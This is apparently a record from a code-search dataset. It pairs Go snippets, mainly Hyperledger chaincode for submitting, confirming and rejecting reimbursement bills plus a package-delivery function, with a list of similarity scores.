{\n fmt.Printf(\"Error putting state %s\", err)\n return nil, fmt.Errorf(\"transfer operation failed. Error updating state: %s\", err)\n }\n //ToDo: some check for the state of puting \n // add two sp have no reasons:)\n key = owner + sp + sp + uuid\n err = stub.PutState(key, []byte(timestamp))\n if err != nil {\n fmt.Printf(\"Error putting state for owner : %s\", err)\n }\n return nil, nil\n\n case \"submit\":\n if len(args) < 4{\n return nil, errors.New(\"submit operation must include at last three arguments, a uuid, a owner , timestamp and data for reimbursement\")\n }\n //get the args\n key := args[0]\n uuid := key \n _owner := args[1]\n timestamp := args[2]\n data := args[3]\n\n //do some check for the timestamp\n ts := time.Now().Unix() \n tm, err := strconv.ParseInt(timestamp, 10, 64) \n if err != nil {\n return nil, fmt.Errorf(\"bad format of the timestamp\")\n }\n if tm - ts > 3600 || ts - tm > 3600 {\n return nil, fmt.Errorf(\"the timestamp is bad one !\")\n }\n\n //get the info of uuid\n value, err := stub.GetState(key)\n if err != nil {\n return nil, fmt.Errorf(\"get operation failed. Error accessing state: %s\", err)\n }\n if value == nil {\n return nil, fmt.Errorf(\"this bill does not exist\")\n }\n listValue := strings.Split(string(value), sp)\n fromid := listValue[0]\n toid := listValue[1]\n history := listValue[2]\n owner := listValue[3]\n status := listValue[4]\n createtm := listValue[5]\n //update the submittm\n submittm := timestamp\n confirmtm := listValue[7]\n\n // if the person don't own it, he can transfer this bill\n if _owner != owner {\n return []byte(\"don't have the right to submit the bill\"), errors.New(\"don't have the right to submit\")\n //return nil, errors.New(\"don't have the right to transfer\")\n }\n if status == \"2\" {\n return []byte(\"this bill has been submited adn you can't transfer it any more!\"), errors.New(\"this bill has been submited adn you can't transfer it any more!\")\n }\n if status == \"3\" {\n return []byte(\"this bill has been reimbursed!\"), errors.New(\"this bill has been reimbursed!\")\n }\n if status == \"1\" || status == \"0\" {\n status = \"2\"\n }\n\n //update the uuid info\n newvalue := fromid + sp + toid + sp + history + sp + owner + sp + status + sp + createtm + sp + submittm + sp + confirmtm\n fmt.Printf(\"the old value is: %s\", value)\n fmt.Printf(\"the new value is: %s\", newvalue)\n err = stub.PutState(key, []byte(newvalue))\n if err != nil {\n fmt.Printf(\"Error putting state %s\", err)\n return nil, fmt.Errorf(\"submit operation failed. Error updating state: %s\", err)\n }\n\n //store the info of reimbursement\n key = uuid + sp + \"bx\"\n fmt.Printf(\"the info of reimbursement is %s\", data)\n err = stub.PutState(key, []byte(data))\n if err != nil {\n fmt.Printf(\"Error putting state %s\", err)\n return nil, fmt.Errorf(\"submit operation failed. Error updating state: %s\", err)\n }\n return nil, nil\n\n case \"confirm\":\n if len(args) < 3 {\n return nil, errors.New(\"confirm operation must include at last there arguments, a uuid , a toid and timestamp\")\n }\n //get the args\n key := args[0]\n _toid := args[1]\n timestamp := args[2]\n\n //do some check for the timestamp\n ts := time.Now().Unix() \n tm, err := strconv.ParseInt(timestamp, 10, 64) \n if err != nil {\n return nil, fmt.Errorf(\"bad format of the timestamp\")\n }\n if tm - ts > 3600 || ts - tm > 3600 {\n return nil, fmt.Errorf(\"the timestamp is bad one !\")\n }\n\n //get the info of uuid\n value, err := stub.GetState(key)\n if err != nil {\n return nil, fmt.Errorf(\"get operation failed. Error accessing state: %s\", err)\n }\n if value == nil {\n return nil, fmt.Errorf(\"this bill does not exist\")\n }\n listValue := strings.Split(string(value), sp)\n fromid := listValue[0]\n toid := listValue[1]\n //update the history\n history := listValue[2] + \",\" + toid\n //update the owner\n owner := toid\n status := listValue[4]\n createtm := listValue[5]\n submittm := listValue[6]\n //update the confirmtm\n confirmtm := timestamp\n\n // if the person is not the toid\n if _toid != toid {\n return []byte(\"don't have the right to confirm the bill\"), errors.New(\"don't have the right to confirm\")\n //return nil, errors.New(\"don't have the right to transfer\")\n }\n if status == \"1\" || status == \"0\" {\n return []byte(\"this bill has not been submited \"), errors.New(\"this bill has not been submited\")\n }\n if status == \"3\" {\n return []byte(\"this bill has been reimbursed!\"), errors.New(\"this bill has been reimbursed!\")\n }\n if status == \"2\" {\n status = \"3\"\n }\n\n //update the uuid info\n newvalue := fromid + sp + toid + sp + history + sp + owner + sp + status + sp + createtm + sp + submittm + sp + confirmtm\n fmt.Printf(\"the old value is: %s\", value)\n fmt.Printf(\"the new value is: %s\", newvalue)\n err = stub.PutState(key, []byte(newvalue))\n if err != nil {\n fmt.Printf(\"Error putting state %s\", err)\n return nil, fmt.Errorf(\"confirm operation failed. Error updating state: %s\", err)\n }\n return nil, nil\n\n case \"reject\":\n if len(args) < 4 {\n return nil, errors.New(\"reject operation must include at last four arguments, a uuid , a toid , a reason and timestamp\")\n }\n //get the args\n key := args[0]\n uuid := key \n _toid := args[1]\n reason := args[2]\n timestamp := args[3]\n\n //do some check for the timestamp\n ts := time.Now().Unix() \n tm, err := strconv.ParseInt(timestamp, 10, 64) \n if err != nil {\n return nil, fmt.Errorf(\"bad format of the timestamp\")\n }\n if tm - ts > 3600 || ts - tm > 3600 {\n return nil, fmt.Errorf(\"the timestamp is bad one !\")\n }\n\n //get the info of uuid\n value, err := stub.GetState(key)\n if err != nil {\n return nil, fmt.Errorf(\"get operation failed. Error accessing state: %s\", err)\n }\n if value == nil {\n return nil, fmt.Errorf(\"this bill does not exist\")\n }\n listValue := strings.Split(string(value), sp)\n fromid := listValue[0]\n toid := listValue[1]\n history := listValue[2]\n owner := listValue[3]\n status := listValue[4]\n createtm := listValue[5]\n submittm := listValue[6]\n confirmtm := timestamp\n\n // if the person is not the toid\n if _toid != toid {\n return []byte(\"don't have the right to reject the bill\"), errors.New(\"don't have the right to reject\")\n //return nil, errors.New(\"don't have the right to transfer\")\n }\n if status == \"1\" || status == \"0\" {\n return []byte(\"this bill has not been submited \"), errors.New(\"this bill has not been submited \")\n }\n if status == \"3\" {\n return []byte(\"this bill has been reimbursed!\"), errors.New(\"this bill has been reimbursed!\")\n }\n if status == \"2\" {\n status = \"1\"\n }\n\n //update the uuid info\n newvalue := fromid + sp + toid + sp + history + sp + owner + sp + status + sp + createtm + sp + submittm + sp + confirmtm\n fmt.Printf(\"the old value is: %s\", value)\n fmt.Printf(\"the new value is: %s\", newvalue)\n err = stub.PutState(key, []byte(newvalue))\n if err != nil {\n fmt.Printf(\"Error putting state %s\", err)\n return nil, fmt.Errorf(\"reject operation failed. Error updating state: %s\", err)\n }\n\n //update the reason for unconfirmtion\n key = uuid + sp + \"bx\"\n err = stub.PutState(key, []byte(reason))\n if err != nil {\n fmt.Printf(\"Error putting state %s\", err)\n return nil, fmt.Errorf(\"reject operation failed. Error updating state: %s\", err)\n }\n return nil, nil\n\n default:\n return nil, errors.New(\"Unsupported operation\")\n }\n}", "func (*OracleSpecResponse) Descriptor() ([]byte, []int) {\n\treturn file_api_trading_proto_rawDescGZIP(), []int{145}\n}", "func (_BaseContent *BaseContentCaller) StatusCodeDescription(opts *bind.CallOpts, status_code *big.Int) ([32]byte, error) {\n\tvar out []interface{}\n\terr := _BaseContent.contract.Call(opts, &out, \"statusCodeDescription\", status_code)\n\n\tif err != nil {\n\t\treturn *new([32]byte), err\n\t}\n\n\tout0 := *abi.ConvertType(out[0], new([32]byte)).(*[32]byte)\n\n\treturn out0, err\n\n}", "func (*CodeRequest) Descriptor() ([]byte, []int) {\n\treturn file_helloworld_helloworld_proto_rawDescGZIP(), []int{1}\n}", "func (rv *ReturnValue) Inspect() string { return rv.Value.Inspect() }", "func (o *UpdateOrganizationInvitationOK) Code() int {\n\treturn 200\n}", "func (*MarkedString_CodeBlock) Descriptor() ([]byte, []int) {\n\treturn file_protocol_rpc_rpc_proto_rawDescGZIP(), []int{113, 0}\n}", "func (*PrepareRenameResponse_Result) Descriptor() ([]byte, []int) {\n\treturn file_protocol_rpc_rpc_proto_rawDescGZIP(), []int{44, 0}\n}", "func (c Code) String() string {\n\tswitch c {\n\tcase Resident:\n\t\treturn \"RESIDENT\"\n\tcase Nonresident:\n\t\treturn \"NONRESIDENT\"\n\tdefault:\n\t\treturn \"UNKNOWN\"\n\t}\n}", "func (t *SimpleChaincode) deliverpkg(stub shim.ChaincodeStubInterface, args []string) ([]byte, error) {\nfmt.Println(\"running deliverpkg()\")\nvar key , jsonResp string\nvar err error\n\nif len(args) != 2 {\n\tjsonResp = \" Error : Incorrect number of arguments. Expecting 2 : PkgId and Provider \"\n \treturn nil, errors.New(jsonResp)\n }\n\n key = args[0]\n var packageinfo PackageInfo\n\n valAsbytes, err := stub.GetState(key)\n\n if err != nil {\n jsonResp = \"Error : Failed to get state for \" + key\n return nil, errors.New(jsonResp)\n }\n\n err = json.Unmarshal(valAsbytes, &packageinfo)\n if err != nil {\n fmt.Println(\"Could not marshal personal info object\", err)\n return nil, err\n }\n\n// validate pkd exist or not by checking temprature\n if packageinfo.PkgId != key{\n jsonResp = \"Error: Invalid PackageId Passed \"\n return nil, errors.New(jsonResp)\n }\n\n // check wheather the pkg temprature is in acceptable range and package in in valid status\n if packageinfo.PkgStatus == \"Pkg_Damaged\" { // Pkg_Damaged\n\t jsonResp = \" Error: Temprature thershold crossed - Package Damaged\"\n return nil, errors.New(jsonResp)\n }\n\n\tif packageinfo.PkgStatus == \"Pkg_Delivered\" { // Pkg_Damaged\n\t jsonResp = \" Error: Package Already Delivered\"\n\t return nil, errors.New(jsonResp)\n\t }\n\n // check wheather the pkg Provider is same as input value\nif packageinfo.Provider != args[1] {\n\t jsonResp = \" Error :Wrong Pkg Provider passrd - Not authorized to deliver this Package\"\n\t return nil, errors.New(jsonResp)\n\t }\n\n// packageinfo.Owner = args[1]\n packageinfo.PkgStatus = \"Pkg_Delivered\"\n\n bytes, err := json.Marshal(&packageinfo)\n if err != nil {\n fmt.Println(\"Could not marshal personal info object\", err)\n return nil, err\n }\n\n err = stub.PutState(key, bytes)\n if err != nil {\n return nil, err\n }\n\n return nil, nil\n}", "func rcExString(p *TCompiler, code *TCode) (*value.Value, error) {\n\tp.regSet(code.A, p.runExString(p.Consts.Get(code.B).ToString()))\n\tp.moveNext()\n\treturn nil, nil\n}", "func (s FulfillmentUpdateResponseSpecification) GoString() string {\n\treturn s.String()\n}", "func TestParseReturnDetailAddendumC(t *testing.T) {\n\tvar line = \"3411A 00340 RD Addendum C \"\n\tr := NewReader(strings.NewReader(line))\n\tr.line = line\n\tclh := mockCashLetterHeader()\n\tr.addCurrentCashLetter(NewCashLetter(clh))\n\tbh := mockBundleHeader()\n\trb := NewBundle(bh)\n\tr.currentCashLetter.AddBundle(rb)\n\tr.addCurrentBundle(rb)\n\tcd := mockReturnDetail()\n\tr.currentCashLetter.currentBundle.AddReturnDetail(cd)\n\n\trequire.NoError(t, r.parseReturnDetailAddendumC())\n\trecord := r.currentCashLetter.currentBundle.GetReturns()[0].ReturnDetailAddendumC[0]\n\trequire.Equal(t, \"34\", record.recordType)\n\trequire.Equal(t, \"1\", record.ImageReferenceKeyIndicatorField())\n\trequire.Equal(t, \"1A \", record.MicrofilmArchiveSequenceNumberField())\n\trequire.Equal(t, \"0034\", record.LengthImageReferenceKeyField())\n\trequire.Equal(t, \"0 \", record.ImageReferenceKeyField())\n\trequire.Equal(t, \"RD Addendum C \", record.DescriptionField())\n\trequire.Equal(t, \" \", record.UserFieldField())\n\trequire.Equal(t, \" \", record.reservedField())\n}", "func (o RestrictionResponseOutput) ReasonCode() pulumi.StringPtrOutput {\n\treturn o.ApplyT(func(v RestrictionResponse) *string { return v.ReasonCode }).(pulumi.StringPtrOutput)\n}" ]
[ "0.546622", "0.49766302", "0.49018514", "0.4870129", "0.48345646", "0.47983706", "0.4782532", "0.47615993", "0.4711266", "0.47010347", "0.4695958", "0.46885386", "0.46700853", "0.4660949", "0.46572307", "0.46350378", "0.46284047", "0.46268025", "0.4622207", "0.46218666", "0.46100235", "0.46087474", "0.4607313", "0.46060303", "0.46058902", "0.46005684", "0.45957315", "0.4594292", "0.45925185", "0.45920223", "0.45906362", "0.45886034", "0.45861757", "0.4579032", "0.4570687", "0.45561948", "0.45529714", "0.45410687", "0.4536205", "0.45191061", "0.45161235", "0.4511616", "0.450357", "0.45034027", "0.45019153", "0.44966653", "0.4493286", "0.4487539", "0.44852683", "0.44827095", "0.44786888", "0.4474402", "0.44698894", "0.4468363", "0.4460118", "0.44565925", "0.44541344", "0.4442446", "0.44420943", "0.44389862", "0.44386315", "0.4438177", "0.44324204", "0.44242066", "0.44206738", "0.4417364", "0.44131368", "0.44101134", "0.44062817", "0.44032168", "0.44031447", "0.44016328", "0.44005647", "0.44001442", "0.4399757", "0.43988135", "0.43872604", "0.4382249", "0.43819997", "0.4375769", "0.43637213", "0.43586212", "0.4352281", "0.4352078", "0.43519127", "0.4350469", "0.4349427", "0.43491283", "0.43477038", "0.43461353", "0.4341796", "0.43387347", "0.43348658", "0.43288624", "0.43174648", "0.4314333", "0.431226", "0.43065426", "0.430229", "0.42978927" ]
0.69362366
0